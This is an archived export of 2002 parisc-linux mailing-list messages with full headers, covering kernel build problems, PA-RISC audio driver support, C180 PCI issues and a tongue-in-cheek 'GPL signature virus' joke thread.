Thanks alot! I think I did that earlier, but after an apt-get upgrade
it might have been 'updated'. I set it to 'HOLD' (dselect) next time.

> > Compiling 64bit with the (quite old) unofficial debs worked however,
> > but there are some "unresolved symbols" in a few (=4) modules,
> > each time the symbol is "__xchg64".
>
> grundler <506>fgrep -n __xchg64 arch/parisc/kernel/parisc_ksyms.c
> 77:EXPORT_SYMBOL(__xchg64);
>
> Something else is wrong. you are building from CVS right?
> Try "make distclean" and rebuild the 64-bit vmlinux/ from scratch.

Yes, I always use the CVS trunk. I always have the CVS tree on
a different machine and do a CVS update on it (intel laptop with internet
connection, at work) and then copy the kernel to the parisc-linux machine
(no internet connection, at home). So I always have a fresh, clean CVS
kernel (with no old *.o files).

But I just did a 'make clean' when I decided to make a 64bit. I forgot
that it is actually a different architecture ... This might have caused
the problem!
Thanks for reminding!


greetings max

-- 
I am the "ILOVEGNU" signature virus. Just copy me to your signature.
This email was infected under the terms of the GNU General Public License.








From - Thu Nov 08 21:23:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Applied GNU GPL virus was Re: [parisc-linux] PA8000 modutils problems
Date: Mon, 24 Jun 2002 03:13:35 +0100 (IST)
Lines: 59
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0206240252080.29056-100000@sal.ucc.ie>
References: <Pine.LNX.4.44.0206212130310.4556-100000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621428 9306 80.91.229.3 (22 Nov 2014 01:57:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:08 +0000 (UTC)
Cc: Joel Soete <joel.soete@freebel.net>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	Grant Grundler <grundler@dsl2.external.hp.com>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun 23 20:13:41 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from interzone.ucc.ie (interzone.ucc.ie [143.239.1.134])
	by dsl2.external.hp.com (Postfix) with ESMTP id C7DD64830
	for <parisc-linux@lists.parisc-linux.org>; Sun, 23 Jun 2002 20:13:40 -0600 (MDT)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by interzone.ucc.ie (8.9.3/8.9.3) with ESMTP id DAA18282;
	Mon, 24 Jun 2002 03:13:41 +0100 (BST)
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <Pine.LNX.4.44.0206212130310.4556-100000@sal.ucc.ie>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15199

Gotcha!

Sorry, I hate to reply to my previous main, but I think it's important!

On Fri, 21 Jun 2002, M. Grabert wrote:

> Date: Fri, 21 Jun 2002 21:52:20 +0100 (IST)
> From: M. Grabert <xam@cs.ucc.ie>
> To: parisc-linux@lists.parisc-linux.org
> Subject: [parisc-linux] PA8000 modutils problems
>
> Hi, I have some problems in compiling the latest kernels;

[... problem report ...]

Now the important part (the .signature of the post):

> thanks in advance, max
> --
> I am the "ILOVEGNU" signature virus. Just copy me to your signature.
> This email was infected under the terms of the GNU General Public License.

[...]

Well, I got a lot of really helpful responses from alot of nice people,
but unfortunately we have some issue here:

Some of the people who replied to my email didn't include the original
email (source code) as required by the GNU GPL or even didn't include the
copyleft reference in their replies!
The first point is probably not valid, since the original email is
probably referenced in the mail header and usually stored in the same mail
archive and thus can be easily accessed.
But the latter is IMHO a more severe thing: you definitely violated the
GNU GPL by this! (I think all of these people are listed in the CC: field)

Be careful that you won't get caught in this trap next time :)

BTW, I should have included the GNU GPL in my first email (and not only
mention/reference it), shouldn't I ?
Moreover is an email a valid soure code as described in the GNU GPL ?

greetings max

PS: I won't sue you because of this incident (neither now nor later) :)))
PPS: This is ment to be (at least) a half-serious email. Any useful
responses (under the terms of the GNU GPL) are highly welcome, especially
from laywers! ;)

-- 
I am the "ILOVEGNU" signature virus. Just copy me to your signature.
This email was infected under the terms of the GNU General Public License.








From - Thu Nov 08 21:23:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Applied GNU GPL virus was Re: [parisc-linux] PA8000 modutils problems
Date: Mon, 24 Jun 2002 00:23:53 -0400 (EDT)
Lines: 13
Approved: news@gmane.org
Message-ID: <200206240423.g5O4Nr4o003372@hiauly1.hia.nrc.ca>
References: <Pine.LNX.4.44.0206240252080.29056-100000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621428 9309 80.91.229.3 (22 Nov 2014 01:57:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:08 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, joel.soete@freebel.net,
	grundler@dsl2.external.hp.com
To: xam@cs.ucc.ie (M. Grabert)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun 23 22:46:30 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 327164834
	for <parisc-linux@lists.parisc-linux.org>; Sun, 23 Jun 2002 22:46:29 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g5O4NsFN003373;
	Mon, 24 Jun 2002 00:23:54 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g5O4Nr4o003372;
	Mon, 24 Jun 2002 00:23:53 -0400 (EDT)
In-Reply-To: <Pine.LNX.4.44.0206240252080.29056-100000@sal.ucc.ie> from "M. Grabert" at Jun 24, 2002 03:13:35 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15200

> PPS: This is ment to be (at least) a half-serious email. Any useful
> responses (under the terms of the GNU GPL) are highly welcome, especially
> from laywers! ;)

The list is intended for for discussion of parisc-linux issues and not
the GNU GPL.  Contact RMS at the FSF if you want to discuss the GNU GPL.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:23:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthieu Delahaye <delahaym@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 0.9.3 Audio on C110
Date: Mon, 24 Jun 2002 08:34:31 +0200
Lines: 50
Approved: news@gmane.org
Message-ID: <3D16BD77.8090804@esiee.fr>
References: <Pine.LNX.4.44.0206212123170.4556-100000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621428 9310 80.91.229.3 (22 Nov 2014 01:57:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:08 +0000 (UTC)
Cc: Patrick Caulfield <patrick@tykepenguin.com>,
	parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 24 00:34:36 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id E43004838
	for <parisc-linux@lists.parisc-linux.org>; Mon, 24 Jun 2002 00:34:35 -0600 (MDT)
Original-Received: from esiee.fr (pc5158b.esiee.fr [147.215.50.168])
	by mail.esiee.fr (Postfix) with ESMTP
	id 8E4B849BF5; Mon, 24 Jun 2002 08:34:31 +0200 (CEST)
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.9) Gecko/20020412 Debian/0.9.9-6
X-Accept-Language: fr-fr, fr
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15201

Hi,

If nobody is already on it, I will plan to spend a lot of time on this 
mixer after my graduation next week.
If someone has feedback about strange behaviour like the one explained 
above please do not hesitate to contact me.

Regards,
Matthieu


M. Grabert wrote:

>Hi palinuxer,
>
>On Fri, 21 Jun 2002, Patrick Caulfield wrote:
>
>>The driver is called "harmony" - I have mine hard compiled into the kernel.
>>
>>patrick
>>
>
>This reminds me of something I wanted to ask for a long time:
>
>It seems that the harmony mixer is not perfectly supported;
>Volume doesn't work, and there are just two things I can change,
>IGain and OGain (latter effects the Output volume).
>There is not even a way to change the balance etc.
>Moreover most applications expect at least "volume" to be working,
>so this is kind of annoying. Despite this it's working flawlessly!
>
>So to the question: is there any work planned in improving harmony
>support (in the near future) ? E.g. an enhanced mixer support and
>support for recording?
>
>greetings max
>
>
>
>_______________________________________________
>parisc-linux mailing list
>parisc-linux@lists.parisc-linux.org
>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>
>






From - Thu Nov 08 21:23:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeremy Drake <jeremyd@apptechsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Audio on J5k
Date: Sun, 23 Jun 2002 23:45:01 -0700 (PDT)
Lines: 9
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0206232342380.17764-100000@garibaldi.apptechsys.com>
References: <3D16BD77.8090804@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621429 9311 80.91.229.3 (22 Nov 2014 01:57:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:09 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 24 00:45:05 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.apptechsys.com (mail.apptechsys.com [207.14.35.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id 53B384843
	for <parisc-linux@lists.parisc-linux.org>; Mon, 24 Jun 2002 00:45:05 -0600 (MDT)
Original-Received: from garibaldi.apptechsys.com (ats164.apptechsys.com [207.14.35.164])
	by mail.apptechsys.com (Postfix) with ESMTP id 1E2327BC67
	for <parisc-linux@lists.parisc-linux.org>; Sun, 23 Jun 2002 23:45:01 -0700 (PDT)
In-Reply-To: <3D16BD77.8090804@esiee.fr>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15202

Are there any plans to support the AD whatever that is in the J5k?  Is 
there documentation available?


-- 
A day without sunshine is like a day without orange juice.




From - Thu Nov 08 21:23:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chris Jantzen <chris-parisc@maybe.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] C180 questions
Date: Mon, 24 Jun 2002 01:00:59 -0700
Lines: 29
Approved: news@gmane.org
Message-ID: <20020624080059.GA31627@maybe.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621429 9314 80.91.229.3 (22 Nov 2014 01:57:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:09 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 24 02:01:00 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.maybe.net (12-231-156-39.client.attbi.com [12.231.156.39])
	by dsl2.external.hp.com (Postfix) with SMTP id 70EBC483A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 24 Jun 2002 02:01:00 -0600 (MDT)
Original-Received: (qmail 1936 invoked by uid 1000); 24 Jun 2002 08:00:59 -0000
Content-Disposition: inline
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15203

So I have a new (to me) C180 and nearly everything is hunky-dory. Huge grats
to all the kernel/debian hackers! I have a few questions, though.

When I insert a PCI card, I get the dreaded firmware halt. The serial number
on this box is low enough that it could have PCI bugs that I've read about
on the net. Is this still repairable? Can it be worked around in software/
firmware? (Firmware 5.2, FWIW) I'm assuming that not only is the original
warranty long expired, that it wouldn't have transferred anyways. I have
a request in to HP support, I was just curious if this has been
encountered by anyone here before/recently.

I apologize that this is not directly Linux-related. This seems to be the
most active group working on machines near this vintage, and I fear
HP may reject my request for support based on not running HP-UX. Thanks
for any input! (And thanks again for a smashing job on the arch port. I've
got sparc, mips, powerpc, and ia32 all lying around the house, and I must
say the hppa install was the cleanest yet.)

BTW-Probably a FAQ and not that I intend to run it any time soon, but
how mature is the 64-bit in 32-bit firmware configuration? Does it
require a slightly different toolchain, or does binutils-hppa build
32 and 64-bit without a hitch?

-- 
chris jantzen kb7rnl =->         __O
Insert witty comment here.     _`\<,_
http://www.maybe.net/         (*)/ (*)



From - Thu Nov 08 21:23:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Applied GNU GPL virus was Re: [parisc-linux] PA8000 modutils problems
Date: Mon, 24 Jun 2002 07:50:42 -0600
Lines: 9
Approved: news@gmane.org
Message-ID: <20020624135042.BFC14482E@dsl2.external.hp.com>
References: <Pine.LNX.4.44.0206240252080.29056-100000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621429 9316 80.91.229.3 (22 Nov 2014 01:57:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:09 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 24 07:50:42 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id BFC14482E; Mon, 24 Jun 2002 07:50:42 -0600 (MDT)
In-Reply-To: Message from "M. Grabert" <xam@cs.ucc.ie> 
   of "Mon, 24 Jun 2002 03:13:35 BST." <Pine.LNX.4.44.0206240252080.29056-100000@sal.ucc.ie> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15204

"M. Grabert" wrote:
...
> Be careful that you won't get caught in this trap next time :)

Sue me. I ignore .sigs unless they amuse me.

grant



From - Thu Nov 08 21:23:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Audio on J5k
Date: Mon, 24 Jun 2002 08:08:56 -0600
Lines: 21
Approved: news@gmane.org
Message-ID: <20020624140856.697D64836@dsl2.external.hp.com>
References: <Pine.LNX.4.44.0206232342380.17764-100000@garibaldi.apptechsys.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621430 9317 80.91.229.3 (22 Nov 2014 01:57:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:10 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jeremy Drake <jeremyd@apptechsys.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 24 08:08:56 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 697D64836; Mon, 24 Jun 2002 08:08:56 -0600 (MDT)
In-Reply-To: Message from Jeremy Drake <jeremyd@apptechsys.com> 
   of "Sun, 23 Jun 2002 23:45:01 PDT." <Pine.LNX.4.44.0206232342380.17764-100000@garibaldi.apptechsys.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15205

Jeremy Drake wrote:
> Are there any plans to support the AD whatever that is in the J5k?  Is 
> there documentation available?

yes and yes.

Randolph Chung (tausq@debian.org) had started hacking on this driver
since he also has a C3000. He hasn't had time to get it working
and should probably just post his "patch" to ftp.p-l.org in case
someone else wants to (try to) make it work.

I've posted documentation in April on this chip:
	gsyprf10.external.hp.com:/pub/grundler/AD1889.pdf

(from memory, it's there:
-r--r--r--    1 grundler users      124255 Apr 24 21:28 AD1889.pdf
)

grant



From - Thu Nov 08 21:23:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] sys/io.h
Date: Mon, 24 Jun 2002 09:00:31 -0600 (MDT)
Lines: 18
Approved: news@gmane.org
Message-ID: <20020624150031.4DA034837@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621430 9321 80.91.229.3 (22 Nov 2014 01:57:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:10 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 24 09:00:31 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 4DA034837; Mon, 24 Jun 2002 09:00:31 -0600 (MDT)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15206

Hi,
I'm trying to build tulip-diag.c from scyld.com and am getting the
following error msg:
gsyprf11:~# gcc -O tulip-diag.c -o tulip-diag
tulip-diag.c:58:20: sys/io.h: No such file or directory
tulip-diag.c:1347:24: warning: multi-line string literals are deprecated

On ia64, sys/io.h comes from
gsyprf3:~# dpkg -S sys/io.h
libc6.1-dev: /usr/include/sys/io.h

But we don't have the equivalent for parisc (hppa).
Ideas?

thanks,
grant



From - Thu Nov 08 21:23:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Audio on J5k
Date: Mon, 24 Jun 2002 08:18:32 -0700
Lines: 14
Approved: news@gmane.org
Message-ID: <20020624151832.GE812@tausq.org>
References: <3D16BD77.8090804@esiee.fr> <Pine.LNX.4.44.0206232342380.17764-100000@garibaldi.apptechsys.com>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621430 9323 80.91.229.3 (22 Nov 2014 01:57:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:10 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jeremy Drake <jeremyd@apptechsys.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 24 09:15:37 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.speakeasy.net (mail16.speakeasy.net [216.254.0.216])
	by dsl2.external.hp.com (Postfix) with ESMTP id EC61C4840
	for <parisc-linux@lists.parisc-linux.org>; Mon, 24 Jun 2002 09:15:36 -0600 (MDT)
Original-Received: (qmail 28207 invoked from network); 24 Jun 2002 15:15:35 -0000
Original-Received: from unknown (HELO pippin.tausq.org) ([64.81.244.94])
          (envelope-sender <randolph@tausq.org>)
          by mail16.speakeasy.net (qmail-ldap-1.03) with SMTP
          for <jeremyd@apptechsys.com>; 24 Jun 2002 15:15:35 -0000
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 5C591CDA2C; Mon, 24 Jun 2002 08:18:32 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.44.0206232342380.17764-100000@garibaldi.apptechsys.com>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15207

In reference to a message from Jeremy Drake, dated Jun 23:
> Are there any plans to support the AD whatever that is in the J5k?  Is 
> there documentation available?

i've been working on it, quite slowly. the documentation available is a
bit scant.... the same chip is in the c3k.

randolph
--  
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/



From - Thu Nov 08 21:23:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
